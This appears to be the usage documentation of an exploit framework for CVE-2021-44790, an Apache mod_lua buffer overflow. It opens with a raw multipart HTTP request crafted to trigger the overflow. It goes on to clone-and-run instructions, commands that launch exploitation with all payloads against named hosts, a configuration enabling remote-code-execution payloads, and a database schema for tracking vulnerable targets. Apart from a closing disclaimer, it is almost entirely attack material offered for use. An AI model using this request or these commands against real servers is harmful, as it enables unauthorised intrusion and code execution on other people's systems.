POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4

4
Content-Disposition: form-data; name="name"

0
4

# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install dependencies
pip install -r requirements.txt

# Verify installation
python3 exploit.py --version

# Quick vulnerability scan
python3 exploit.py http://target.com

# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose

# Generate all reports
python3 exploit.py http://target.com --report all

# Research mode with database
python3 exploit.py http://target.com --research

python3 exploit.py [TARGET] [OPTIONS]

python3 exploit.py https://example.com --verbose --report all

python3 exploit.py https://internal-server.com \
    --proxy http://proxy.corp.com:8080 \
    --threads 10 \
    --timeout 15 \
    --verbose \
    --report all \
    --output /var/log/security/

python3 exploit.py https://client.com \
    --threads 30 \
    --timeout 10 \
    --exploit \
    --all-payloads \
    --report all \
    --screenshot \
    --research \
    --verbose \
    --output /pentest/client_name/

python3 exploit.py --batch targets.txt --config config.yaml

# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"

# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"

# ----------------------------------------------------------------------------
# LuaStorm Exploit Framework - Configuration File
# ----------------------------------------------------------------------------

# Scan Settings
threads: 20                    # Concurrent threads
timeout: 10                    # Request timeout in seconds
retries: 3                     # Number of retry attempts
rate_limit: 10                 # Requests per second
max_depth: 3                   # Directory traversal depth
follow_redirects: true         # Follow HTTP redirects
verify_ssl: false              # Verify SSL certificates

# Network Settings
proxy: null                    # Proxy URL
http2: true                    # Enable HTTP/2 support
user_agent: random             # User-Agent (random/specific)
save_packets: false            # Save raw network packets

# Analysis Settings
research_mode: true            # Enable research database
verbose: false                 # Verbose output
scan_only: false               # Scan without exploitation
exploit: false                 # Enable exploitation
all_payloads: false            # Use all payloads

# Payload Settings
payloads:
  detection: true
  memory: true
  rce: true
  dos: false

# Report Settings
report_json: true
report_html: true
report_markdown: true
report_pdf: false
screenshot: false
reports_dir: reports

# Database Settings
database_path: luastorm.db
database_retention: 365

# Directory Settings
logs_dir: logs
screenshots_dir: screenshots

{
  "scan_id": "a1b2c3d4",
  "target": {
    "url": "https://example.com",
    "hostname": "example.com",
    "port": 443
  },
  "vulnerable": true,
  "risk_level": "Critical",
  "scan_duration": 45.23,
  "timestamp": "2026-08-04T15:45:23"
}

-- Targets table
CREATE TABLE targets (
    id INTEGER PRIMARY KEY,
    scan_id TEXT UNIQUE,
    url TEXT,
    hostname TEXT,
    ip TEXT,
    port INTEGER,
    protocol TEXT,
    apache_version TEXT,
    lua_version TEXT,
    os TEXT,
    architecture TEXT,
    waf TEXT,
    cdn TEXT,
    vulnerable INTEGER,
    risk_level TEXT,
    scan_date TEXT,
    duration REAL
);

-- Scripts table
CREATE TABLE scripts (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    path TEXT,
    method TEXT,
    status_code INTEGER,
    content_type TEXT,
    response_time REAL,
    vulnerable INTEGER
);

-- Payloads table
CREATE TABLE payloads (
    id INTEGER PRIMARY KEY,
    scan_id TEXT,
    script_id INTEGER,
    payload_name TEXT,
    payload_type TEXT,
    success INTEGER,
    response_time REAL,
    indicators TEXT,
    error TEXT
);

# plugins/my_plugin.py
class MyPlugin:
    plugin_name = "my_plugin"
    plugin_version = "1.0"
    plugin_author = "Your Name"
    
    def __init__(self, config):
        self.config = config
    
    def execute(self, target_info):
        """Execute plugin logic"""
        return {
            'status': 'success',
            'message': 'Plugin executed',
            'data': {'target': target_info.url}
        }

THIS TOOL IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Unauthorized use against systems you do not own or have explicit permission to test
is illegal and unethical. The author assumes no responsibility for misuse, damage,
or legal consequences arising from the use of this tool.

By using this tool, you agree to:
1. Only test systems you own or have written permission to test
2. Comply with all applicable laws and regulations
3. Report findings responsibly
4. Not use this tool for malicious purposes

# Clone your fork
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790

# Install development dependencies
pip install -r requirements-dev.txt

# Run tests
python -m pytest tests/